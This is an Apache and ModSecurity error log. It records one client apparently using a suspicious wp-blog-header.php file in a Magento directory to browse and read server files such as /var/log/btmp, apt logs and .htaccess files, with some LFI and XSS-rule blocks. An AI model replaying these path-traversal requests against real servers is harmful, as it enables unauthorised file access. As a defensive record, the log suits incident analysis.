[Thu Mar 26 04:46:26.909321 2026] [:error] [pid 2976804] [client 74.7.241.26:49176] [client 74.7.241.26] ModSecurity: Warning. Matched phrase "var/log/ufw.log" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: var/log/ufw.log found within ARGS:filesrc: /var/log/ufw.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSsEoQGW6kFkJ4pggKxPAAAAA8"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:46:26.909874 2026] [:error] [pid 2976804] [client 74.7.241.26:49176] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSsEoQGW6kFkJ4pggKxPAAAAA8"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:46:26.910032 2026] [:error] [pid 2976804] [client 74.7.241.26:49176] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSsEoQGW6kFkJ4pggKxPAAAAA8"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:46:41.629486 2026] [php:warn] [pid 2976804] [client 74.7.241.26:49176] PHP Warning: file_get_contents(/var/log/btmp): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:47:30.722838 2026] [php:warn] [pid 2946678] [client 74.7.241.26:58616] PHP Warning: file_get_contents(/var/run/agetty.reload): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/run
[Thu Mar 26 04:47:42.833263 2026] [php:warn] [pid 2946678] [client 74.7.241.26:58616] PHP Warning: file_get_contents(/var/log/btmp.1): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:47:54.797888 2026] [php:warn] [pid 2946678] [client 74.7.241.26:58616] PHP Warning: file_get_contents(/var/log/apport.log.1): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 04:48:06.757490 2026] [php:warn] [pid 2946665] [client 74.7.241.26:36482] PHP Warning: file_get_contents(/var/log/apt/term.log): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/log/apt
[Thu Mar 26 04:48:36.297854 2026] [:error] [pid 2946665] [client 74.7.241.26:36482] [client 74.7.241.26] ModSecurity: Warning. Matched phrase ".htaccess" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .htaccess found within ARGS:filesrc: /var/www/magento.test.indacotrentino.com/www/app/.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSslKFR-FxYjdtx3JOaRwAAAAA"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/app
[Thu Mar 26 04:48:36.298439 2026] [:error] [pid 2946665] [client 74.7.241.26:36482] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSslKFR-FxYjdtx3JOaRwAAAAA"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/app
[Thu Mar 26 04:48:36.298597 2026] [:error] [pid 2946665] [client 74.7.241.26:36482] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSslKFR-FxYjdtx3JOaRwAAAAA"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/app
[Thu Mar 26 04:48:37.939346 2026] [:error] [pid 2946665] [client 74.7.241.26:36482] [client 74.7.241.26] ModSecurity: Warning. Matched phrase ".htaccess" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .htaccess found within ARGS:filesrc: /var/www/magento.test.indacotrentino.com/www/bin/.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSslaFR-FxYjdtx3JOaSgAAAAA"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/bin
[Thu Mar 26 04:48:37.939978 2026] [:error] [pid 2946665] [client 74.7.241.26:36482] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSslaFR-FxYjdtx3JOaSgAAAAA"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/bin
[Thu Mar 26 04:48:37.940122 2026] [:error] [pid 2946665] [client 74.7.241.26:36482] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSslaFR-FxYjdtx3JOaSgAAAAA"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www/bin
[Thu Mar 26 04:48:40.058072 2026] [:error] [pid 2946665] [client 74.7.241.26:36482] [client 74.7.241.26] ModSecurity: Warning. Matched phrase ".htaccess" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .htaccess found within ARGS:filesrc: /var/www/www.indacotrentino.com/www/phpserver/.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSsmKFR-FxYjdtx3JOaTgAAAAA"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/phpserver
[Thu Mar 26 04:48:40.058678 2026] [:error] [pid 2946665] [client 74.7.241.26:36482] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSsmKFR-FxYjdtx3JOaTgAAAAA"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/phpserver
[Thu Mar 26 04:48:40.058821 2026] [:error] [pid 2946665] [client 74.7.241.26:36482] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSsmKFR-FxYjdtx3JOaTgAAAAA"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/phpserver
[Thu Mar 26 04:48:40.589689 2026] [:error] [pid 2946665] [client 74.7.241.26:36482] [client 74.7.241.26] ModSecurity: Warning. Matched phrase ".htaccess" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .htaccess found within ARGS:filesrc: /var/www/www.indacotrentino.com/www/generated/.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSsmKFR-FxYjdtx3JOaTwAAAAA"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/generated
[Thu Mar 26 04:48:40.590248 2026] [:error] [pid 2946665] [client 74.7.241.26:36482] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSsmKFR-FxYjdtx3JOaTwAAAAA"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/generated
[Thu Mar 26 04:48:40.590403 2026] [:error] [pid 2946665] [client 74.7.241.26:36482] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSsmKFR-FxYjdtx3JOaTwAAAAA"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/generated
[Thu Mar 26 04:48:41.924811 2026] [php:error] [pid 2946665] [client 74.7.241.26:36482] PHP Fatal error: Allowed memory size of 805306368 bytes exhausted (tried to allocate 1248498960 bytes) in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/tmp
[Thu Mar 26 04:50:03.066790 2026] [:error] [pid 2976374] [client 74.7.241.26:54760] [client 74.7.241.26] ModSecurity: Warning. Matched phrase ".htaccess" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: .htaccess found within ARGS:filesrc: /var/www/magento.test.indacotrentino.com/www/.htaccess.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSs6wpLPEOhpazb7qUtRgAAAAw"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www
[Thu Mar 26 04:50:03.067362 2026] [:error] [pid 2976374] [client 74.7.241.26:54760] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSs6wpLPEOhpazb7qUtRgAAAAw"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www
[Thu Mar 26 04:50:03.067527 2026] [:error] [pid 2976374] [client 74.7.241.26:54760] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSs6wpLPEOhpazb7qUtRgAAAAw"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/www
[Thu Mar 26 04:51:32.520460 2026] [php:warn] [pid 2946679] [client 74.7.241.26:46438] PHP Warning: scandir(/var/lib/docker): Failed to open directory: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lib
[Thu Mar 26 04:51:32.520495 2026] [php:warn] [pid 2946679] [client 74.7.241.26:46438] PHP Warning: scandir(): (errno 13): Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lib
[Thu Mar 26 04:51:32.520509 2026] [php:warn] [pid 2946679] [client 74.7.241.26:46438] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 179, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lib
[Thu Mar 26 04:51:32.520514 2026] [php:warn] [pid 2946679] [client 74.7.241.26:46438] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 206, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lib
[Thu Mar 26 04:53:47.047885 2026] [:error] [pid 2977063] [client 74.7.241.26:42168] [client 74.7.241.26] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: -base64 found within ARGS:filesrc: /var/www/www.indacotrentino.com/www/vendor/tubalmartin/cssmin/tests/expectations/dataurl-base64-twourls.css"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSty_Cy1LfQs65SoUXzWAAAABM"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/vendor/tubalmartin/cssmin/tests/expectations
[Thu Mar 26 04:53:47.048299 2026] [:error] [pid 2977063] [client 74.7.241.26:42168] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSty_Cy1LfQs65SoUXzWAAAABM"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/vendor/tubalmartin/cssmin/tests/expectations
[Thu Mar 26 04:53:47.048691 2026] [:error] [pid 2977063] [client 74.7.241.26:42168] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSty_Cy1LfQs65SoUXzWAAAABM"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/vendor/tubalmartin/cssmin/tests/expectations
[Thu Mar 26 04:54:02.381443 2026] [:error] [pid 2977063] [client 74.7.241.26:42168] [client 74.7.241.26] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:filesrc. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: -base64 found within ARGS:filesrc: /var/www/www.indacotrentino.com/www/vendor/tubalmartin/cssmin/tests/fixtures/dataurl-base64-linebreakindata.css"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSt2vCy1LfQs65SoUXzdQAAABM"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/vendor/tubalmartin/cssmin/tests/fixtures
[Thu Mar 26 04:54:02.381868 2026] [:error] [pid 2977063] [client 74.7.241.26:42168] [client 74.7.241.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSt2vCy1LfQs65SoUXzdQAAABM"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/vendor/tubalmartin/cssmin/tests/fixtures
[Thu Mar 26 04:54:02.382019 2026] [:error] [pid 2977063] [client 74.7.241.26:42168] [client 74.7.241.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "acSt2vCy1LfQs65SoUXzdQAAABM"], referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/www.indacotrentino.com/www/vendor/tubalmartin/cssmin/tests/fixtures
[Thu Mar 26 05:03:53.897484 2026] [php:error] [pid 2946665] [client 74.7.241.26:45020] PHP Fatal error: Allowed memory size of 805306368 bytes exhausted (tried to allocate 585109008 bytes) in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/log
[Thu Mar 26 05:04:00.518141 2026] [php:error] [pid 2977451] [client 74.7.241.26:41054] PHP Fatal error: Allowed memory size of 805306368 bytes exhausted (tried to allocate 1221196056 bytes) in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=/var/www/magento.test.indacotrentino.com/log
[Thu Mar 26 05:04:35.151956 2026] [php:warn] [pid 2976813] [client 74.7.241.26:41070] PHP Warning: scandir(/var/log/apache2): Failed to open directory: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:04:35.151988 2026] [php:warn] [pid 2976813] [client 74.7.241.26:41070] PHP Warning: scandir(): (errno 13): Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:04:35.151995 2026] [php:warn] [pid 2976813] [client 74.7.241.26:41070] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 179, referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:04:35.152000 2026] [php:warn] [pid 2976813] [client 74.7.241.26:41070] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 206, referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:04:37.305306 2026] [php:warn] [pid 2976813] [client 74.7.241.26:41070] PHP Warning: scandir(/var/log/private): Failed to open directory: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:04:37.305330 2026] [php:warn] [pid 2976813] [client 74.7.241.26:41070] PHP Warning: scandir(): (errno 13): Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:04:37.305336 2026] [php:warn] [pid 2976813] [client 74.7.241.26:41070] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 179, referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:04:37.305341 2026] [php:warn] [pid 2976813] [client 74.7.241.26:41070] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 206, referer: https://forst-trento.test.indacotrentino.com/?path=/var/log
[Thu Mar 26 05:04:37.752347 2026] [php:warn] [pid 2976813] [client 74.7.241.26:41070] PHP Warning: scandir(/var/lib/private): Failed to open directory: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lib
[Thu Mar 26 05:04:37.752379 2026] [php:warn] [pid 2976813] [client 74.7.241.26:41070] PHP Warning: scandir(): (errno 13): Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lib
[Thu Mar 26 05:04:37.752386 2026] [php:warn] [pid 2976813] [client 74.7.241.26:41070] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 179, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lib
[Thu Mar 26 05:04:37.752390 2026] [php:warn] [pid 2976813] [client 74.7.241.26:41070] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 206, referer: https://forst-trento.test.indacotrentino.com/?path=/var/lib
[Thu Mar 26 05:05:54.617147 2026] [php:warn] [pid 2977063] [client 74.7.241.26:36856] PHP Warning: scandir(//lost found): Failed to open directory: No such file or directory in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=//lost+found
[Thu Mar 26 05:05:54.617182 2026] [php:warn] [pid 2977063] [client 74.7.241.26:36856] PHP Warning: scandir(): (errno 2): No such file or directory in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 170, referer: https://forst-trento.test.indacotrentino.com/?path=//lost+found
[Thu Mar 26 05:05:54.617194 2026] [php:warn] [pid 2977063] [client 74.7.241.26:36856] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 179, referer: https://forst-trento.test.indacotrentino.com/?path=//lost+found
[Thu Mar 26 05:05:54.617199 2026] [php:warn] [pid 2977063] [client 74.7.241.26:36856] PHP Warning: foreach() argument must be of type array|object, bool given in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 206, referer: https://forst-trento.test.indacotrentino.com/?path=//lost+found
